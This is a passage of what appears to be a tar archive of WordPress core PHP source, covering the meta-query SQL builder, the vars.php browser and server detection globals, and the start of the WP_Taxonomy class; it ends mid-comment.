$queries Array of meta queries. * @param string $type Type of meta. Possible values include but are not limited * to 'post', 'comment', 'blog', 'term', and 'user'. * @param string $primary_table Primary table. * @param string $primary_id_column Primary column ID. * @param object $context The main query object that corresponds to the type, for * example a `WP_Query`, `WP_User_Query`, or `WP_Site_Query`. */ return apply_filters_ref_array( 'get_meta_sql', array( $sql, $this->queries, $type, $primary_table, $primary_id_column, $context ) ); } /** * Generate SQL clauses to be appended to a main query. * * Called by the public WP_Meta_Query::get_sql(), this method is abstracted * out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { /* * $queries are passed by reference to get_sql_for_query() for recursion. * To keep $this->queries unaltered, pass a copy. */ $queries = $this->queries; $sql = $this->get_sql_for_query( $queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generate SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse (passed by reference). * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( &$query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => &$clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query, $key ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Generate SQL JOIN and WHERE clauses for a first-order query clause. * * "First-order" means that it's an array with a 'key' or 'value'. * * @since 4.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $clause Query clause (passed by reference). * @param array $parent_query Parent query array. * @param string $clause_key Optional. The array key used to name the clause in the original `$meta_query` * parameters. If not provided, a key will be generated automatically. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to a first-order query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql_for_clause( &$clause, $parent_query, $clause_key = '' ) { global $wpdb; $sql_chunks = array( 'where' => array(), 'join' => array(), ); if ( isset( $clause['compare'] ) ) { $clause['compare'] = strtoupper( $clause['compare'] ); } else { $clause['compare'] = isset( $clause['value'] ) && is_array( $clause['value'] ) ? 'IN' : '='; } $non_numeric_operators = array( '=', '!=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS', 'RLIKE', 'REGEXP', 'NOT REGEXP', ); $numeric_operators = array( '>', '>=', '<', '<=', 'BETWEEN', 'NOT BETWEEN', ); if ( ! in_array( $clause['compare'], $non_numeric_operators, true ) && ! in_array( $clause['compare'], $numeric_operators, true ) ) { $clause['compare'] = '='; } if ( isset( $clause['compare_key'] ) ) { $clause['compare_key'] = strtoupper( $clause['compare_key'] ); } else { $clause['compare_key'] = isset( $clause['key'] ) && is_array( $clause['key'] ) ? 'IN' : '='; } if ( ! in_array( $clause['compare_key'], $non_numeric_operators, true ) ) { $clause['compare_key'] = '='; } $meta_compare = $clause['compare']; $meta_compare_key = $clause['compare_key']; // First build the JOIN clause, if one is required. $join = ''; // We prefer to avoid joins if possible. Look for an existing join compatible with this clause. $alias = $this->find_compatible_table_alias( $clause, $parent_query ); if ( false === $alias ) { $i = count( $this->table_aliases ); $alias = $i ? 'mt' . $i : $this->meta_table; // JOIN clauses for NOT EXISTS have their own syntax. if ( 'NOT EXISTS' === $meta_compare ) { $join .= " LEFT JOIN $this->meta_table"; $join .= $i ? " AS $alias" : ''; if ( 'LIKE' === $meta_compare_key ) { $join .= $wpdb->prepare( " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key LIKE %s )", '%' . $wpdb->esc_like( $clause['key'] ) . '%' ); } else { $join .= $wpdb->prepare( " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key = %s )", $clause['key'] ); } // All other JOIN clauses. } else { $join .= " INNER JOIN $this->meta_table"; $join .= $i ? " AS $alias" : ''; $join .= " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column )"; } $this->table_aliases[] = $alias; $sql_chunks['join'][] = $join; } // Save the alias to this clause, for future siblings to find. $clause['alias'] = $alias; // Determine the data type. $_meta_type = isset( $clause['type'] ) ? $clause['type'] : ''; $meta_type = $this->get_cast_for_type( $_meta_type ); $clause['cast'] = $meta_type; // Fallback for clause keys is the table alias. Key must be a string. if ( is_int( $clause_key ) || ! $clause_key ) { $clause_key = $clause['alias']; } // Ensure unique clause keys, so none are overwritten. $iterator = 1; $clause_key_base = $clause_key; while ( isset( $this->clauses[ $clause_key ] ) ) { $clause_key = $clause_key_base . '-' . $iterator; $iterator++; } // Store the clause in our flat array. $this->clauses[ $clause_key ] =& $clause; // Next, build the WHERE clause. // meta_key. if ( array_key_exists( 'key', $clause ) ) { if ( 'NOT EXISTS' === $meta_compare ) { $sql_chunks['where'][] = $alias . '.' . $this->meta_id_column . ' IS NULL'; } else { /** * In joined clauses negative operators have to be nested into a * NOT EXISTS clause and flipped, to avoid returning records with * matching post IDs but different meta keys. Here we prepare the * nested clause. */ if ( in_array( $meta_compare_key, array( '!=', 'NOT IN', 'NOT LIKE', 'NOT EXISTS', 'NOT REGEXP' ), true ) ) { // Negative clauses may be reused. $i = count( $this->table_aliases ); $subquery_alias = $i ? 'mt' . $i : $this->meta_table; $this->table_aliases[] = $subquery_alias; $meta_compare_string_start = 'NOT EXISTS ('; $meta_compare_string_start .= "SELECT 1 FROM $wpdb->postmeta $subquery_alias "; $meta_compare_string_start .= "WHERE $subquery_alias.post_ID = $alias.post_ID "; $meta_compare_string_end = 'LIMIT 1'; $meta_compare_string_end .= ')'; } switch ( $meta_compare_key ) { case '=': case 'EXISTS': $where = $wpdb->prepare( "$alias.meta_key = %s", trim( $clause['key'] ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case 'LIKE': $meta_compare_value = '%' . $wpdb->esc_like( trim( $clause['key'] ) ) . '%'; $where = $wpdb->prepare( "$alias.meta_key LIKE %s", $meta_compare_value ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case 'IN': $meta_compare_string = "$alias.meta_key IN (" . substr( str_repeat( ',%s', count( $clause['key'] ) ), 1 ) . ')'; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'RLIKE': case 'REGEXP': $operator = $meta_compare_key; if ( isset( $clause['type_key'] ) && 'BINARY' === strtoupper( $clause['type_key'] ) ) { $cast = 'BINARY'; } else { $cast = ''; } $where = $wpdb->prepare( "$alias.meta_key $operator $cast %s", trim( $clause['key'] ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case '!=': case 'NOT EXISTS': $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key = %s " . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT LIKE': $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key LIKE %s " . $meta_compare_string_end; $meta_compare_value = '%' . $wpdb->esc_like( trim( $clause['key'] ) ) . '%'; $where = $wpdb->prepare( $meta_compare_string, $meta_compare_value ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT IN': $array_subclause = '(' . substr( str_repeat( ',%s', count( $clause['key'] ) ), 1 ) . ') '; $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key IN " . $array_subclause . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT REGEXP': $operator = $meta_compare_key; if ( isset( $clause['type_key'] ) && 'BINARY' === strtoupper( $clause['type_key'] ) ) { $cast = 'BINARY'; } else { $cast = ''; } $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key REGEXP $cast %s " . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; } $sql_chunks['where'][] = $where; } } // meta_value. if ( array_key_exists( 'value', $clause ) ) { $meta_value = $clause['value']; if ( in_array( $meta_compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { if ( ! is_array( $meta_value ) ) { $meta_value = preg_split( '/[,\s]+/', $meta_value ); } } elseif ( is_string( $meta_value ) ) { $meta_value = trim( $meta_value ); } switch ( $meta_compare ) { case 'IN': case 'NOT IN': $meta_compare_string = '(' . substr( str_repeat( ',%s', count( $meta_value ) ), 1 ) . ')'; $where = $wpdb->prepare( $meta_compare_string, $meta_value ); break; case 'BETWEEN': case 'NOT BETWEEN': $where = $wpdb->prepare( '%s AND %s', $meta_value[0], $meta_value[1] ); break; case 'LIKE': case 'NOT LIKE': $meta_value = '%' . $wpdb->esc_like( $meta_value ) . '%'; $where = $wpdb->prepare( '%s', $meta_value ); break; // EXISTS with a value is interpreted as '='. case 'EXISTS': $meta_compare = '='; $where = $wpdb->prepare( '%s', $meta_value ); break; // 'value' is ignored for NOT EXISTS. case 'NOT EXISTS': $where = ''; break; default: $where = $wpdb->prepare( '%s', $meta_value ); break; } if ( $where ) { if ( 'CHAR' === $meta_type ) { $sql_chunks['where'][] = "$alias.meta_value {$meta_compare} {$where}"; } else { $sql_chunks['where'][] = "CAST($alias.meta_value AS {$meta_type}) {$meta_compare} {$where}"; } } } /* * Multiple WHERE clauses (for meta_key and meta_value) should * be joined in parentheses. */ if ( 1 < count( $sql_chunks['where'] ) ) { $sql_chunks['where'] = array( '( ' . implode( ' AND ', $sql_chunks['where'] ) . ' )' ); } return $sql_chunks; } /** * Get a flattened list of sanitized meta clauses. * * This array should be used for clause lookup, as when the table alias and CAST type must be determined for * a value of 'orderby' corresponding to a meta clause. * * @since 4.2.0 * * @return array Meta clauses. */ public function get_clauses() { return $this->clauses; } /** * Identify an existing table alias that is compatible with the current * query clause. * * We avoid unnecessary table joins by allowing each clause to look for * an existing table alias that is compatible with the query that it * needs to perform. * * An existing alias is compatible if (a) it is a sibling of `$clause` * (ie, it's under the scope of the same relation), and (b) the combination * of operator and relation between the clauses allows for a shared table join. * In the case of WP_Meta_Query, this only applies to 'IN' clauses that are * connected by the relation 'OR'. * * @since 4.1.0 * * @param array $clause Query clause. * @param array $parent_query Parent query of $clause. * @return string|false Table alias if found, otherwise false. */ protected function find_compatible_table_alias( $clause, $parent_query ) { $alias = false; foreach ( $parent_query as $sibling ) { // If the sibling has no alias yet, there's nothing to check. if ( empty( $sibling['alias'] ) ) { continue; } // We're only interested in siblings that are first-order clauses. if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) { continue; } $compatible_compares = array(); // Clauses connected by OR can share joins as long as they have "positive" operators. if ( 'OR' === $parent_query['relation'] ) { $compatible_compares = array( '=', 'IN', 'BETWEEN', 'LIKE', 'REGEXP', 'RLIKE', '>', '>=', '<', '<=' ); // Clauses joined by AND with "negative" operators share a join only if they also share a key. } elseif ( isset( $sibling['key'] ) && isset( $clause['key'] ) && $sibling['key'] === $clause['key'] ) { $compatible_compares = array( '!=', 'NOT IN', 'NOT LIKE' ); } $clause_compare = strtoupper( $clause['compare'] ); $sibling_compare = strtoupper( $sibling['compare'] ); if ( in_array( $clause_compare, $compatible_compares, true ) && in_array( $sibling_compare, $compatible_compares, true ) ) { $alias = preg_replace( '/\W/', '_', $sibling['alias'] ); break; } } /** * Filters the table alias identified as compatible with the current clause. * * @since 4.1.0 * * @param string|false $alias Table alias, or false if none was found. * @param array $clause First-order query clause. * @param array $parent_query Parent of $clause. * @param WP_Meta_Query $query WP_Meta_Query object. */ return apply_filters( 'meta_query_find_compatible_table_alias', $alias, $clause, $parent_query, $this ); } /** * Checks whether the current query has any OR relations. * * In some cases, the presence of an OR relation somewhere in the query will require * the use of a `DISTINCT` or `GROUP BY` keyword in the `SELECT` clause. The current * method can be used in these cases to determine whether such a clause is necessary. * * @since 4.3.0 * * @return bool True if the query contains any `OR` relations, otherwise false. */ public function has_or_relation() { return $this->has_or_relation; } } ������������������������������vars.php��������������������������������������������������������������������������������������������0000644�����������������00000013356�14717703502�0006246 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Creates common globals for the rest of WordPress * * Sets $pagenow global which is the filename of the current screen. * Checks for the browser to set which one is currently being used. * * Detects which user environment WordPress is being used on. * Only attempts to check for Apache, Nginx and IIS -- three web * servers with known pretty permalink capability. * * Note: Though Nginx is detected, WordPress does not currently * generate rewrite rules for it. See https://wordpress.org/support/article/nginx/ * * @package WordPress */ global $pagenow, $is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE, $is_edge, $is_apache, $is_IIS, $is_iis7, $is_nginx; // On which page are we? if ( is_admin() ) { // wp-admin pages are checked more carefully. if ( is_network_admin() ) { preg_match( '#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); } elseif ( is_user_admin() ) { preg_match( '#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); } else { preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); } $pagenow = ! empty( $self_matches[1] ) ? $self_matches[1] : ''; $pagenow = trim( $pagenow, '/' ); $pagenow = preg_replace( '#\?.*?$#', '', $pagenow ); if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) { $pagenow = 'index.php'; } else { preg_match( '#(.*?)(/|$)#', $pagenow, $self_matches ); $pagenow = strtolower( $self_matches[1] ); if ( '.php' !== substr( $pagenow, -4, 4 ) ) { $pagenow .= '.php'; // For `Options +Multiviews`: /wp-admin/themes/index.php (themes.php is queried). } } } else { if ( preg_match( '#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches ) ) { $pagenow = strtolower( $self_matches[1] ); } else { $pagenow = 'index.php'; } } unset( $self_matches ); // Simple browser detection. $is_lynx = false; $is_gecko = false; $is_winIE = false; $is_macIE = false; $is_opera = false; $is_NS4 = false; $is_safari = false; $is_chrome = false; $is_iphone = false; $is_edge = false; if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) { if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Lynx' ) !== false ) { $is_lynx = true; } elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Edg' ) !== false ) { $is_edge = true; } elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chrome' ) !== false ) { if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) { $is_admin = is_admin(); /** * Filters whether Google Chrome Frame should be used, if available. * * @since 3.2.0 * * @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of is_admin(). */ $is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin ); if ( $is_chrome ) { header( 'X-UA-Compatible: chrome=1' ); } $is_winIE = ! $is_chrome; } else { $is_chrome = true; } } elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'safari' ) !== false ) { $is_safari = true; } elseif ( ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'Trident' ) !== false ) && strpos( $_SERVER['HTTP_USER_AGENT'], 'Win' ) !== false ) { $is_winIE = true; } elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'Mac' ) !== false ) { $is_macIE = true; } elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Gecko' ) !== false ) { $is_gecko = true; } elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera' ) !== false ) { $is_opera = true; } elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Nav' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.' ) !== false ) { $is_NS4 = true; } } if ( $is_safari && stripos( $_SERVER['HTTP_USER_AGENT'], 'mobile' ) !== false ) { $is_iphone = true; } $is_IE = ( $is_macIE || $is_winIE ); // Server detection. /** * Whether the server software is Apache or something else * * @global bool $is_apache */ $is_apache = ( strpos( $_SERVER['SERVER_SOFTWARE'], 'Apache' ) !== false || strpos( $_SERVER['SERVER_SOFTWARE'], 'LiteSpeed' ) !== false ); /** * Whether the server software is Nginx or something else * * @global bool $is_nginx */ $is_nginx = ( strpos( $_SERVER['SERVER_SOFTWARE'], 'nginx' ) !== false ); /** * Whether the server software is IIS or something else * * @global bool $is_IIS */ $is_IIS = ! $is_apache && ( strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) !== false || strpos( $_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer' ) !== false ); /** * Whether the server software is IIS 7.X or greater * * @global bool $is_iis7 */ $is_iis7 = $is_IIS && (int) substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) >= 7; /** * Test if the current browser runs on a mobile device (smart phone, tablet, etc.) * * @since 3.4.0 * * @return bool */ function wp_is_mobile() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { $is_mobile = false; } elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Mobile' ) !== false // Many mobile devices (all iPhone, iPad, etc.) || strpos( $_SERVER['HTTP_USER_AGENT'], 'Android' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'Silk/' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'Kindle' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'BlackBerry' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera Mini' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera Mobi' ) !== false ) { $is_mobile = true; } else { $is_mobile = false; } /** * Filters whether the request should be treated as coming from a mobile device or not. * * @since 4.9.0 * * @param bool $is_mobile Whether the request is from a mobile device or not. */ return apply_filters( 'wp_is_mobile', $is_mobile ); } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-taxonomy.php�������������������������������������������������������������������������������0000644�����������������00000044110�14717703502�0010670 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Taxonomy API: WP_Taxonomy class * * @package WordPress * @subpackage Taxonomy * @since 4.7.0 */ /** * Core class used for interacting with taxonomies. * * @since 4.7.0 */ final class WP_Taxonomy { /** * Taxonomy key. * * @since 4.7.0 * @var string */ public $name; /** * Name of the taxonomy shown in the menu. Usually plural. * * @since 4.7.0 * @var string */ public $label; /** * Labels object for this taxonomy. * * If not set, tag labels are inherited for non-hierarchical types * and category labels for hierarchical ones. * * @see get_taxonomy_labels() * * @since 4.7.0 * @var stdClass */ public $labels; /** * Default labels. * * @since 6.0.0 * @var (string|null)[][] $default_labels */ protected static $default_labels = array(); /** * A short descriptive summary of what the taxonomy is for. * * @since 4.7.0 * @var string */ public $description = ''; /** * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users. * * @since 4.7.0 * @var bool */ public $public = true; /** * Whether the taxonomy is publicly queryable. * * @since 4.7.0 * @var bool */ public $publicly_queryable = true; /** * Whether the taxonomy is hierarchical. * * @since 4.7.0 * @var bool */ public $hierarchical = false; /** * Whether to generate and allow a UI for managing terms in this taxonomy in the admin. * * @since 4.7.0 * @var bool */ public $show_ui = true; /** * Whether to show the taxonomy in the admin menu. * * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown. * * @since 4.7.0 * @var bool */ public $show_in_menu = true; /** * Whether the taxonomy is available for selection in navigation menus. * * @since 4.7.0 * @var bool */ public $show_in_nav_menus = true; /** * Whether to list the taxonomy in the tag cloud widget controls. * * @since 4.7.0 * @var bool */ public $show_tagcloud = true; /** * Whether to show the taxonomy in the quick/bulk edit panel. * * @since 4.7.0 * @var bool */ public $show_in_quick_edit = true; /** * Whether to display a column for the taxonomy on its post type listing screens. * * @since 4.7.0 * @var bool */ public $show_admin_column = false; /** * The callback function for the meta box display. * * @since 4.7.0 * @var bool|callable */ public $meta_box_cb = null; /** * The callback function for sanitizing taxonomy data saved from a meta box. * * @since 5.1.0 * @var callable */ public $meta_box_sanitize_cb = null; /** * An array of object types this taxonomy is registered for. * * @since 4.7.0 * @var string[] */ public $object_type = null; /** * Capabilities for this taxonomy. * * @since 4.7.0 * @var stdClass */ public $cap; /** * Rewrites information for this taxonomy. * * @since 4.7.0 * @var array|false */ public $rewrite; /** * Query var string for this taxonomy. * * @since 4.7.0 * @var string|false */ public $query_var; /** * Function that will be called when the count is updated. * * @since 4.7.0 * @var callable */ public $update_count_callback; /** * Whether this taxonomy should appear in the REST API. * * Default false. If true, standard endpoints will be registered with * respect to $rest_base and $rest_controller_class. * * @since 4.7.4 * @var bool $show_in_rest */ public $show_in_rest; /** * The base path for this taxonomy's REST API endpoints. * * @since 4.7.4 * @var string|bool $rest_base */ public $rest_base; /** * The namespace for this taxonomy's REST API endpoints. * * @since 5.9.0 * @var string|bool $rest_namespace */ public $rest_namespace; /** * The controller for this taxonomy's REST API endpoints. * * Custom controllers must extend WP_REST_Controller. * * @since 4.7.4 * @var string|bool $rest_controller_class */ public $rest_controller_class; /** * The controller instance for this taxonomy's REST API endpoints. * * Lazily computed. Should be accessed using {@see WP_Taxonomy::get_rest_controller()}. * * @since 5.5.0 * @var WP_REST_Controller $rest_controller */ public $rest_controller; /** * The default term name for this taxonomy. If you pass an array you have * to set 'name' and optionally 'slug' and 'description'. * * @since 5.5.0 * @var array|string */ public $default_term; /** * Whether terms in this taxonomy should be sorted in the order they are provided to `wp_set_object_terms()`. * * Use this in combination with `'orderby' => 'term_order'` when fetching terms. * * @since 2.5.0 * @var bool|null */ public $sort = null; /** * Array of arguments to automatically use inside `wp_get_object_terms()` for this taxonomy. * * @since 2.6.0 * @var array|null */ public $args = null; /** * Whether it is a built-in taxonomy. * * @since 4.7.0 * @var bool */ public $_builtin; /** * Constructor. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. * * @param string $taxonomy Taxonomy key, must not exceed 32 characters. * @param array|string $object_type Name of the object type for the taxonomy object. * @param array|string $args Optional. Array or query string of arguments for registering a taxonomy. * Default empty array. */ public function __construct( $taxonomy, $object_type, $args = array() ) { $this->name = $taxonomy; $this->set_props( $object_type, $args ); } /** * Sets taxonomy properties. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @param string|string[] $object_type Name or array of names of the object types for the taxonomy. * @param array|string $args Array or query string of arguments for registering a taxonomy. */ public function set_props( $object_type, $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a taxonomy. * * @since 4.4.0 * * @param array $args Array of arguments for registering a taxonomy. * See the register_taxonomy() function for accepted arguments. * @param string $taxonomy Taxonomy key. * @param string[] $object_type Array of names of object types for the taxonomy. */ $args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type ); $taxonomy = $this->name; /** * Filters the arguments for registering a specific taxonomy. * * The dynamic portion of the filter name, `$taxonomy`, refers to the taxonomy key. * * Possible hook names include: * * - `register_category_taxonomy_args` * - `register_post_tag_taxonomy_args` * * @since 6.0.0 * * @param array $args Array of arguments for registering a taxonomy. * See the register_taxonomy() function for accepted arguments. * @param string $taxonomy Taxonomy key. * @param string[] $object_type Array of names of object types for the taxonomy. */ $args = apply_filters( "register_{$taxonomy}_taxonomy_args", $args, $this->name, (array) $object_type ); $defaults = array( 'labels' => array(), 'description' => '', 'public' => true, 'publicly_queryable' => null, 'hierarchical' => false, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_tagcloud' => null, 'show_in_quick_edit' => null, 'show_admin_column' => false, 'meta_box_cb' => null, 'meta_box_sanitize_cb' => null, 'capabilities' => array(), 'rewrite' => true, 'query_var' => $this->name, 'update_count_callback' => '', 'show_in_rest' => false, 'rest_base' => false, 'rest_namespace' => false, 'rest_controller_class' => false, 'default_term' => null, 'sort' => null, 'args' => null, '_builtin' => false, ); $args = array_merge( $defaults, $args ); // If not set, default to the setting for 'public'. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } else { // Force 'query_var' to false for non-public taxonomies. $args['query_var'] = false; } if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) { $args['rewrite'] = wp_parse_args( $args['rewrite'], array( 'with_front' => true, 'hierarchical' => false, 'ep_mask' => EP_NONE, ) ); if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name ); } } // If not set, default to the setting for 'public'. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the setting for 'public'. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_tagcloud'] ) { $args['show_tagcloud'] = $args['show_ui']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_quick_edit'] ) { $args['show_in_quick_edit'] = $args['show_ui']; } // If not set, default rest_namespace to wp/v2 if show_in_rest is true. if ( false === $args['rest_namespace'] && ! empty( $args['show_in_rest'] ) ) { $args['rest_namespace'] = 'wp/v2'; } $default_caps = array( 'manage_terms' => 'manage_categories', 'edit_terms' => 'manage_categories', 'delete_terms' => 'manage_categories', 'assign_terms' => 'edit_posts', ); $args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] ); unset( $args['capabilities'] ); $args['object_type'] = array_unique( (array) $object_type ); // If not set, use the default meta box. if ( null === $args['meta_box_cb'] ) { if ( $args['hierarchical'] ) { $args['meta_box_cb'] = 'post_categories_meta_box'; } else { $args['meta_box_cb'] = 'post_tags_meta_box'; } } $args['name'] = $this->name; // Default meta box sanitization callback depends on the value of 'meta_box_cb'. if ( null === $args['meta_box_sanitize_cb'] ) { switch ( $args['meta_box_cb'] ) { case 'post_categories_meta_box': $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes'; break; case 'post_tags_meta_box': default: $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input'; break; } } // Default taxonomy term. if ( ! empty( $args['default_term'] ) ) { if ( ! is_array( $args['default_term'] ) ) { $args['default_term'] = array( 'name' => $args['default_term'] ); } $args['default_term'] = wp_parse_args( $args['default_term'], array( 'name' => '', 'slug' => '', 'description' => '', ) ); } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_taxonomy_labels( $this ); $this->label = $this->labels->name; } /** * Adds the necessary rewrite rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { /* @var WP $wp */ global $wp; // Non-publicly queryable taxonomies should not register query vars, except in the admin. if ( false !== $this->query_var && $wp ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical && $this->rewrite['hierarchical'] ) { $tag = '(.+?)'; } else { $tag = '([^/]+)'; } add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" ); add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite ); } } /** * Removes any rewrite rules, permastructs, and rules for the taxonomy. * * @since 4.7.0 * * 